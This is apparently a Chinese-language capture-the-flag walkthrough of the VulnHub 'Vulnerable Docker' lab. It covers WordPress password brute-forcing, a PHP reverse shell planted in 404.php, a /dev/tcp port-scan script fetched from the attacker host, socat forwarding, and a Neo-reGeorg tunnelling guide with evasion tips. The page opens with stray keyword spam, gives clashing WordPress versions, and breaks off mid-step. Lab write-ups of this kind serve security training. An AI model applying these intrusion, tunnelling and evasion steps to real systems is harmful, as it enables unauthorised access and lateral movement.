怎样申请建网站,wordpress 2.0 下载地址,电商网站建,怎样提高网站首页权重靶场来源#xff1a; Vulnerable Docker: 1 ~ VulnHub 描述#xff1a;Down By The Docker 有没有想过在容器中玩 docker 错误配置、权限提升等#xff1f; 下载此 VM#xff0c;拿出您的渗透测试帽并开始使用 我们有 2 种模式#xff1a; - HARD#xff1a;这需要您将 d… 靶场来源 Vulnerable Docker: 1 ~ VulnHub 描述Down By The Docker 有没有想过在容器中玩 docker 错误配置、权限提升等 下载此 VM拿出您的渗透测试帽并开始使用 我们有 2 种模式 - HARD这需要您将 docker 技能和渗透测试技能相结合以实现主机入侵。 - EASY相对简单的路径了解 docker 就足以破坏机器并在主机上获得 root。 我们已经在您可以使用的各种机器/系统中植入了 3 个标志文件。如果您选择接受您的任务如下 识别所有标志总共 2 个flag_1 和 flag_3flag_2 个被无意中遗漏了在主机上获得 id0 shell 访问权限。 开启靶场虚拟机之前选择easy模式再进入 1,将两台虚拟机网络连接都改为NAT模式 2攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.181靶场IP192.168.23.66 3对靶机进行端口服务探测 nmap -sV -T4 -p- -A 192.168.23.66 2375端口的内容特别多 端口 22/tcp (SSH) 状态: 开放服务: OpenSSH 6.6p1 (Ubuntu 2ubuntu1)描述: 这是一个 SSH 服务版本较旧运行在 Ubuntu 系统上。我们看到该服务支持多种加密算法如 DSA、RSA、ECDSA 和 ED25519。安全性: 如果该系统暴露在互联网或不受信任的网络上建议通过强密码策略、密钥认证等增强 SSH 的安全性并及时更新 OpenSSH 版本。 端口 2375/tcp (Docker) 状态: 开放服务: Docker 17.06.0-ce描述: 该端口暴露了 Docker API允许进行远程 Docker 容器管理。Docker 服务信息显示其版本为 17.06.0-ce且该 API 的最小版本要求为 1.12。安全性: 端口 2375 默认情况下未加密连接非常危险如果没有采取合适的认证机制攻击者可能利用该端口进行远程操作。建议使用 TLS 加密并在 Docker 配置中启用认证如设置 client-cert 认证。在生产环境中不要直接暴露此端口。 端口 8000/tcp (HTTP) 状态: 开放服务: Apache HTTPD 2.4.10 (Debian)描述: 该端口提供一个 Apache Web 服务器运行 WordPress 网站版本 4.8.1。页面显示为 NotSoEasy Docker – Just another WordPress site。安全性: 由于使用了较旧版本的 Apache 和 WordPress建议尽快更新以防止已知的安全漏洞被利用。robots.txt 文件中提到禁止访问 /wp-admin/这表明管理员区域受限但没有屏蔽整个网站的敏感目录。确保 WordPress 插件和主题及时更新并实施更强的 Web 应用安全措施如防止 SQL 注入、跨站脚本攻击等。 第一种方法针对存在http服务的8000端口进行攻击 4访问8000端口开放的http服务看看 判断是一个博客网站枚举扫描扫网站后台试试 dirsearch -u http://192.168.23.66:8000 -x 404,403,301 5网站指纹扫描识别 whatweb -v http://192.168.23.66:8000 6指纹扫描没什么用但是能够找到/wp-login.php这种登录页面 使用wpscan工具进行攻击 wpscan --url http://192.168.23.66:8000/ -e u vp -e 枚举 -u 用户名 -vp 有漏洞的插件 爆出来一个用户bob 然后再爆出bob用户的密码但是要先解压出一个字典 gunzip /usr/share/wordlists/rockyou.txt.gz wpscan --url http://192.168.23.66:8000/ -e u -P /usr/share/wordlists/rockyou.txt -t 20 最后成功爆出来用户密码为Welcome1 wpscan使用指南 WPScan 是一个非常流行的用于扫描 WordPress 网站漏洞的工具它可以帮助安全研究人员发现 WordPress 网站上的已知漏洞、插件和主题漏洞、弱口令等。下面是 WPScan 工具的使用指南包括基本的安装、常见命令和配置说明。 1. 安装 WPScan 通过 Docker 安装 如果不想在系统上直接安装依赖您可以通过 Docker 来运行 WPScan docker pull wpscanteam/wpscan docker run -it wpscanteam/wpscan --url Example Domain 通过 Ruby 安装如果系统上没有包管理工具 sudo apt-get install ruby ruby-dev sudo gem install wpscan 2. 基本用法 扫描目标网站 wpscan --url Example Domain 这将扫描指定的 WordPress 网站自动检测出可能的漏洞、插件、主题等。 扫描并列出插件 wpscan --url Example Domain --enumerate p 使用 --enumerate p 参数可以枚举网站上安装的所有插件。 扫描并列出主题 wpscan --url Example Domain --enumerate t 使用 --enumerate t 参数可以列出网站上安装的所有主题。 扫描并列出用户 wpscan --url Example Domain --enumerate u 使用 --enumerate u 参数可以列出 WordPress 网站的用户。 3. 高级扫描选项 使用 API 密钥进行漏洞检查 WPScan 提供一个 API可以用来检查 WordPress 安装的漏洞。如果你有 API 密钥可以在运行扫描时使用该密钥来获取更多的漏洞信息。 首先获取一个 API 密钥WPScan API。 然后使用命令 wpscan --url Example Domain --api-token YOUR_API_KEY 检测 WordPress 版本 wpscan --url Example Domain --wp-version 使用 --wp-version 参数可以检测目标 WordPress 安装的版本帮助你确定是否存在已知的版本漏洞。 检测 WordPress 配置和文件 wpscan --url Example Domain --config-backups 使用 --config-backups 参数可以检测 WordPress 是否泄露了敏感配置文件或备份文件。 4. 弱口令检测 检测弱密码暴力破解 wpscan --url Example Domain --enumerate u --passwords /path/to/wordlist.txt --brute-force --passwords 选项指定一个密码字典文件。--brute-force 用于启用暴力破解。 检测登录页面 wpscan --url Example Domain --login-url /wp-login.php --usernames admin --passwords /path/to/wordlist.txt --brute-force 这会尝试通过暴力破解 admin 用户的密码进行登录。 5. 扫描插件漏洞 扫描特定插件的漏洞 wpscan --url Example Domain --plugins-detection mixed 该命令启用混合插件检测可能会检查 WordPress 插件的已知漏洞。 查看插件的具体漏洞 wpscan --url Example Domain --plugins-detection aggressive 这会使用更积极的方式去检测插件漏洞。 6. 扫描主题漏洞 扫描并列出所有安装的主题 wpscan --url Example Domain --enumerate t 扫描主题漏洞 wpscan --url Example Domain --enumerate t --vuln 7. 结果输出 保存扫描结果到文件 wpscan --url Example Domain --output results.txt 可以将扫描结果保存到文件方便后续分析。 8. 示例命令 扫描目标 WordPress 网站 wpscan --url Example Domain 扫描并枚举插件 wpscan --url Example Domain --enumerate p 扫描并查看漏洞信息 wpscan --url Example Domain --api-token YOUR_API_KEY 使用自定义字典暴力破解 wpscan --url Example Domain --usernames admin --passwords /path/to/wordlist.txt --brute-force 扫描目标并输出结果 wpscan --url Example Domain --output /path/to/output.txt 9. 常见问题 API 限制如果你使用免费版本的 WPScan API可能会遇到 API 请求次数限制。可以通过购买高级版 API 进行更多的漏洞查询。防火墙和屏蔽一些目标网站可能会启用 Web 应用防火墙WAF它们会检测到 WPScan 的扫描行为并可能阻止扫描。因此你可能需要调整 WPScan 的扫描速度或者使用代理。更新数据库WPScan 定期更新漏洞数据库以包含最新的漏洞。如果你发现扫描没有显示某些漏洞请确保 WPScan 已经更新至最新版本。 7然后使用这个密码进行登录登录成功 由此知道wordpress的版本为6.7.2是存在一些公开exp的这里暂不使用 成功得到第一个flag 8getshell的方式非常经典在404.php编辑写入php反弹shell代码。使用kali攻击机自带的反弹shell代码 copy这些代码然后将其复制黏贴到指定区域 需要修改IP和端口再上传 9触发反弹shell非常简单首先kali通过nc开启对4444端口的监听 然后访问一个不存在的网站资源 http://192.168.23.66:8000/123456 就能触发404.php存在的反弹shell 10非常诡异的是ip a查看出来的IP地址与靶场本机IP地址不同 在Docker环境中www-data用户的权限与宿主机的IP地址不一致是正常现象原因与Docker的网络隔离机制和用户命名空间隔离有关。以下是详细解释 1. Docker容器的网络隔离 Docker默认使用**桥接网络Bridge Network**为每个容器分配独立的网络命名空间这意味着 容器拥有独立的虚拟网络接口如 eth0其IP地址与宿主机本机的物理接口如 eth0或 wlan0不同。例如宿主机IP可能是 192.168.1.100而容器内部的IP可能是 172.17.0.2Docker默认的私有网段。 验证方法 # 查看宿主机IP hostname -I # 进入容器查看容器IP docker exec -it 容器名或ID ip a 2. www-data用户的权限隔离 www-data是Web服务器如Apache/Nginx在容器内的默认运行用户用于权限控制 该用户仅在容器内有效与宿主机用户无关。容器通过用户命名空间隔离即使容器内有同名用户如 www-data其UID/GID也可能与宿主机不同。 验证方法 # 查看宿主机www-data用户的UID/GID id www-data # 进入容器查看容器内www-data的UID/GID docker exec -it 容器名或ID id www-data 3. 端口映射与访问方式 虽然容器有独立IP但默认外部无法直接访问容器IP。需通过端口映射将宿主机端口与容器端口绑定 docker run -p 80:80 镜像名 此时外部通过宿主机IP如 192.168.1.100:80访问容器服务。容器内服务如Apache可能记录的是容器IP172.17.0.2但实际访问来源经过Docker的NAT转换。 4. 高级网络模式 若IP不一致导致问题可调整Docker网络模式 Host模式容器共享宿主机网络命名空间IP与宿主机一致。 docker run --networkhost 镜像名自定义网络创建自定义桥接网络实现容器间固定IP分配。 docker network create --subnet 10.10.0.0/24 mynet docker run --networkmynet --ip 10.10.0.2 镜像名 5. 安全与权限建议 避免使用root用户确保容器内服务以非特权用户如 www-data运行。限制容器权限运行容器时添加安全参数 docker run --user 1000:1000 --cap-dropALL 镜像名 总结 网络不一致因Docker默认的桥接网络隔离容器IP与宿主机IP必然不同。用户不一致容器内的用户如 www-data与宿主机用户通过命名空间隔离UID/GID可能不同。解决方案若需IP一致可使用Host模式若需用户一致需同步UID/GID或绑定用户。 11在docker容器强行启动一个可交互shell bash -ibash是Linux系统中的一个shell而-i选项表示“交互式模式”interactive mode。在交互式模式下bash shell会 读取用户的配置文件如~/.bashrc。启用命令提示符让用户可以输入并执行命令。允许用户与shell进行交互式操作。 然而bash -i的执行过程中可能会遇到以下错误 bash: cannot set terminal process group (1): Inappropriate ioctl for device该错误通常发生在非交互式终端环境中如通过管道或某些程序重定向的环境。这表明bash无法与终端进行正常的交互因为它没有一个合适的终端设备TTY。bash: no job control in this shell这是因为在没有交互式终端如TTY设备的情况下bash shell无法启用作业控制job control。作业控制允许用户在shell中暂停、后台运行或切换任务但这在没有合适终端的情况下是无法实现的。 help查看能够使用哪些命令 12编写虚拟环境下的主机探活脚本 for ip in 172.18.0.{1..254}; do (ping -c1 -W1 $ip /dev/null echo $ip) done | sort -V wait 简化IP生成 使用Bash的大括号扩展 {1..254} 直接生成IP地址列表避免依赖外部命令 seq。后台并发处理 每个 ping 命令在子shell中后台运行 ()加快扫描速度。精确输出控制 ping 成功时仅输出IP地址过滤冗余文本。结果排序可选 通过管道 | sort -V 对输出结果按自然顺序排序便于查看若无需排序可移除。 发现存在四个IP 13接下来就编写代码扫描端口。先在kali linux上面写好 1. 定义目标主机 hosts(172.18.0.1 172.18.0.2 172.18.0.3 172.18.0.4) 这个部分定义了一个名为hosts的数组包含了要扫描的目标IP地址。脚本将会对这些主机逐一进行端口扫描。 2. 端口扫描的端口范围 END65535 这个变量定义了端口扫描的上限为65535即扫描所有可能的端口从1到65535。 3. 遍历每个主机进行扫描 for host in ${hosts[]} 这个for循环遍历了hosts数组中的每个IP地址 对于每个目标主机先输出扫描目标的提示信息Scanning $host。 4. 端口扫描 for ((port1; portEND;port)) do echo /dev/tcp/$host/$port echo port $port is open done for循环遍历每个端口从1到65534不包括65535。脚本尝试对每个端口进行扫描。echo /dev/tcp/$host/$port这是一个Bash特性/dev/tcp/是一个特殊的文件允许脚本通过TCP连接进行通信。 该命令的作用是尝试建立到目标主机$host的TCP连接连接目标端口$port。如果连接成功命令将返回0成功否则返回非零值失败。 echo port $port is open如果连接成功即端口开放就输出port $port is open表示该端口是开放的。 5. 错误处理 done 2/dev/null 这部分的作用是将所有的错误输出例如连接失败时产生的错误信息重定向到/dev/null从而屏蔽掉错误信息只保留成功连接的端口信息。 6. 总结 脚本逐一扫描目标主机的每个端口。对于每个端口脚本通过/dev/tcp/$host/$port尝试建立连接如果连接成功表示该端口开放输出“端口$port开放”。如果连接失败脚本不会显示任何信息因为错误输出被重定向到/dev/null。通过这种方式脚本可以有效地列出所有开放的端口而不显示失败的连接。 然后开启http服务以发送给目标服务器 CURL命令使用大全-CSDN博客 目标服务器使用curl命令接受下载脚本 cd /tmp curl -O http://192.168.23.181:8000/portscan.sh 然后执行这个端口扫描脚本 chmod x portscan.sh ./portscan.sh 13然后使用脚本分别探测这几个端口分别有什么 curl -s 172.18.0.1:8000 经过对比可以知道这个是物理主机的IP地址开放的是网络主机的http服务 curl -s 172.18.0.3:80 80端口是主机和网络主机的服务网站一模一样 curl -s 172.18.0.4:8022 由此就可以知道 172.18.0.4运行docker-ssh 14然后对照端口扫描的结果给局域网内四台虚拟主机用socat做一堆端口转发 socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.23.181:1234 socat TCP4-LISTEN:2222,reuseaddr,fork TCP4:172.18.0.1:22 socat TCP4-LISTEN:8000,reuseaddr,fork TCP4:172.18.0.1:8000 socat TCP4-LISTEN:80,reuseaddr,fork TCP4:172.18.0.2:80 socat TCP4-LISTEN:44977,reuseaddr,fork TCP4:172.18.0.2:44977 socat TCP4-LISTEN:22,reuseaddr,fork TCP4:172.18.0.4:22 socat TCP4-LISTEN:8022,reuseaddr,fork TCP4:172.18.0.4:8022 白忙活了没有这个工具。然后使用Neo-reGeorg工具详解 Neo-reGeorg工具详解 Neo-reGeorg 是一款基于 HTTP(S) 协议的内网穿透工具是 reGeorg 的升级版通过加密传输和动态伪装技术绕过安全检测广泛应用于内网渗透中的横向移动和隧道搭建。以下从核心原理、使用方法、实战场景、防御措施等角度进行详细解析 一、核心原理与特性 协议基础 Neo-reGeorg 基于 Socks5 协议通过 HTTP(S) 隧道将内网流量封装在加密的 HTTP 数据包中传输。本地监听 1080 端口作为 Socks5 代理入口流量经加密后通过 Web 服务器转发至内网目标168。核心优势 加密与伪装传输内容经变形 Base64 加密伪装为普通 HTTP 流量避免特征检测16。动态混淆HTTP 头部指令随机生成支持多 URL 随机请求降低被 WAF 或 IDS 识别的风险18。兼容性高支持 PHP、JSP、ASPX 等多种语言脚本适应无 Cookie 或负载均衡环境16。 技术对比 相较于传统工具如 reDuh 或 FRPNeo-reGeorg 无需额外安装客户端仅需上传单一 WebShell 文件即可建立隧道隐蔽性更强69。 二、使用步骤详解 1. 生成隧道脚本 # 生成密钥为 password 的隧道文件支持多语言 python3 neoreg.py generate -k password 生成文件位于 neoreg_servers/ 目录包含 tunnel.php、tunnel.jsp 等脚本24。 2. 上传并部署脚本 将生成的隧道文件上传至目标 Web 服务器的可访问路径如 /var/www/html/tunnel.php并确保脚本可执行。通过 curl 或浏览器访问确认脚本可正常运行17。 3. 建立 Socks5 代理 # 连接隧道脚本并启动本地代理 python3 neoreg.py -k password -u http://目标IP/tunnel.php 默认在本地 127.0.0.1:1080 启动 Socks5 代理后续可通过 Proxychains 或浏览器配置代理访问内网资源27。 三、高级功能与实战技巧 流量伪装 定制 HTTP 响应码生成伪装成 404 页面的隧道脚本干扰日志审计 python3 neoreg.py generate -k password --file 404.html --httpcode 404:cite[1]:cite[6]动态请求头添加随机 HTTP 头部或 Cookie增强隐蔽性 python3 neoreg.py -k password -u http://目标/tunnel.php -H Authorization: Basic YWRtaW46MTIzNA --cookie sessionabc123:cite[1]:cite[6] 复杂网络环境适配 负载均衡场景通过 -r 参数指定内网转发地址应对多服务器负载均衡 python3 neoreg.py -k password -u http://目标/tunnel.jsp -r http://内网IP:8080:cite[6]代理穿透若目标服务器需通过代理访问外网可使用 --proxy 参数 python3 neoreg.py -k password -u http://目标/tunnel.php --proxy socks5://10.1.1.1:8080:cite[6] 联合工具链 Proxychains 代理配置 /etc/proxychains.conf 添加 socks5 127.0.0.1 1080支持 Nmap、Metasploit 等工具穿透内网27。BurpSuite 抓包结合 Burp 代理分析加密流量辅助调试或绕过认证机制87。 四、典型应用场景 防火墙绕过 目标内网仅开放 80/443 端口时通过 Web 服务器建立加密隧道穿透防火墙限制访问内网服务如数据库、远程桌面37。横向渗透 利用隧道代理扫描内网段如 proxychains nmap -sT 192.168.1.0/24定位关键主机并进一步利用漏洞79。隐蔽 C2 通信 与 Cobalt Strike 结合通过加密隧道传递攻击指令规避流量监测设备89。 五、常见问题与解决 依赖缺失 若报错 No module named requests需安装 Python 依赖 pip3 install requests:cite[4]代理连接失败 检查密钥一致性生成与连接时使用的密钥需完全匹配2。跳过可用性测试添加 --skip 参数绕过脚本初始检测 python3 neoreg.py -k password -u http://目标/tunnel.php --skip:cite[4] 跨设备代理失效 若其他设备无法通过 Kali 的代理访问内网需修改监听地址为 0.0.0.0 python3 neoreg.py -k password -u http://目标/tunnel.php -l 0.0.0.0 -p 1080:cite[3] 六、防御与检测建议 主动防御 WebShell 扫描定期使用 D盾、河马等工具检测异常脚本8。日志审计监控异常 HTTP 请求如频繁访问固定 URL、响应码异常8。 权限控制 最小化文件权限限制 Web 目录的可执行权限禁止上传非白名单文件类型8。禁用危险配置关闭不必要的 HTTP 方法如 PUT、TRACE避免中间件解析漏洞8。 流量分析 解密特征识别尽管传输内容加密但固定密钥可能导致 Base64 变形模式可被机器学习模型识别68。行为建模通过统计内网主机的出站连接频率发现异常代理行为9。 七、与其他工具对比 工具 协议 隐蔽性 适用场景 缺点 Neo-reGeorg HTTP(S) 高加密 Web 服务器穿透 依赖 WebShell 文件 FRP TCP/UDP 中可加密 多协议转发 需部署客户端 Proxychains Socks5 低 本地工具链代理 不支持复杂网络穿透 Cobalt Strike Socks4a 高加密 红队协作与高级持久化 商业软件成本高 14下载安装配置工具 export https_proxysocks5://192.168.31.223:49969 git clone https://github.com/Whale-Labs/neo-regeorg.git cd /Neo-reGeorg-master python3 neoreg.py generate -k yourpassword 可以看到生成了neoreg_servers/tunnel.php开启http服务使靶机能够下载 cd /root/Neo-reGeorg-master/neoreg_servers python -m http.server curl -O http://192.168.23.181:8000/tunnel.php mv tunnel.php /var/www/html/tunnel.php python3 neoreg.py -k yourpassword -u http://192.168.23.66:8000/tunnel.php 配合proxychains4 工具使用需要修改配置文件: /etc/proxychains4.conf在其末尾添加 socks5 127.0.0.1 1080 15然后使用nmap探测四个内网IP的端口 proxychains4 nmap -Pn -sT 172.18.0.1 proxychains4 nmap -Pn -sT 172.18.0.2 proxychains4 nmap -Pn -sT 172.18.0.3 proxychains4 nmap -Pn -sT 172.18.0.4 15proxychains4 firefox 访问172.18.0.1:8000 访问172.18.0.4:8022 这里的终端竟然是root用户 cat /proc/version 查看版本为 ubuntu 14.04 在这里安装了一个docker先换源 vim /etc/apt/sources.list deb ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse deb ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse export https_proxysocks5://192.168.31.223:49969 curl -fsSL get.docker.com -o get-docker.sh python -m http.server